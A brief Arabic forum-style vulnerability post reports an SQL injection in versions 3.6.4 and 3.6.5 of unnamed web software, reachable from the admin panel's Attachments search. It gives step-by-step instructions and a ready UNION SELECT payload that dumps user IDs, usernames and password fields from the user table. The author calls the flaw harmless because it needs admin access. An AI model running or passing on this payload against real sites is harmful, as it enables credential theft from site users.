النسخ المصابة :
3.6.5
3.6.4
نوع الثغرة :
sql injection
خطورتها :
ليست خطره ابدا لان تنفيذها يتم بواسطة مدير الموقع
طريقة التنفيذ :
1. Log in to admin panel
2. Go to Attachments->Search
3. Place the following string in the Attached Before field:
كود PHP:
) union select 1,1,1,1,1,userid,password,1,username from user -- 9
تحياتي
ابو عمار